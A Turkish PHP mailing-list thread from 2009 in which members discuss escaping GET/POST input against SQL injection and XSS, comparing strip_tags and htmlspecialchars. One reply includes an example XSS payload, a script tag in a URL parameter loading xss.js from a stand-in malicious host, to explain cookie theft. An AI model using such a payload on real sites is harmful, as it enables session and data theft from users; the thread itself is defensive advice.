Merhaba Mehmet Bey,

Daha önce htmlspecialchars kullanmış ve türkçe karakterlerde sorun yaşamıştım. Bu nedenle strip_tags komutunu kullanmaya başladım. Sizin tecrübelerinize göre xss'den korunma için siz hangisi dersiniz?

Selamlar...
Nuri AKMAN


Mehmet Gürevin yazmış:
Merhaba,

SQL için diğer arkadaşların tavsiyeleri sanırım yeterli. Ancak ekrana
bastırmaktan bahsettiğine göre xss içinde kendini koruman gerekir.

Misal;

http://www.site.com/?parametre=<script
src="http://www.zararli.com/xss.js";></script>

Gibi bir istekte xss.js dosyasını browser execute eder ve cookiler
dahil browser tarafında js'nin yetkisi dahilinde tüm bilgiler
çalınabilir ve işlem yaptırılabilir. Mesela sayfanın bir bölgesine
reklam bile eklenebilir.

Gelen parametreyi ekrana bastıracağın sırada htmlspecialchars
fonksiyonu ile ekrana bastırırsan basitçe bundan korunmuş olursun.

Örnek;

$par = mysql_real_escape_string($_GET['parametre']);
$sql = "SELECT * FROM table WHERE name='$par'";
echo(htmlspecialchars($par));

Kolay gelsin...

2009/1/11 Nuri AKMAN <[email protected]>:
Arkadaşlar,

$_POST veya $_GET ile aldığım bir parametreyi SQL'de kullanmam ve ekrana
yazdırmam gerekiyor.
Aşağıdaki kadar işlem hack yememek için sizce yeterli olur mu?


$_GET['bolumadi'] = striptags($_GET['bolumadi']);
echo $_GET['bolumadi'];
$SQL = sprintf("select * from xxx where yyy = '%s' order by 1",
mysql_real_escape_string( $_GET['bolumadi'] ));

Selamlar,
Nuri AKMAN

_______________________________________________
Linux-programlama mailing list
[email protected]
http://liste.linux.org.tr/mailman/listinfo/linux-programlama


_______________________________________________
Linux-programlama mailing list
[email protected]
http://liste.linux.org.tr/mailman/listinfo/linux-programlama


_______________________________________________
Linux-programlama mailing list
[email protected]
http://liste.linux.org.tr/mailman/listinfo/linux-programlama

Cevap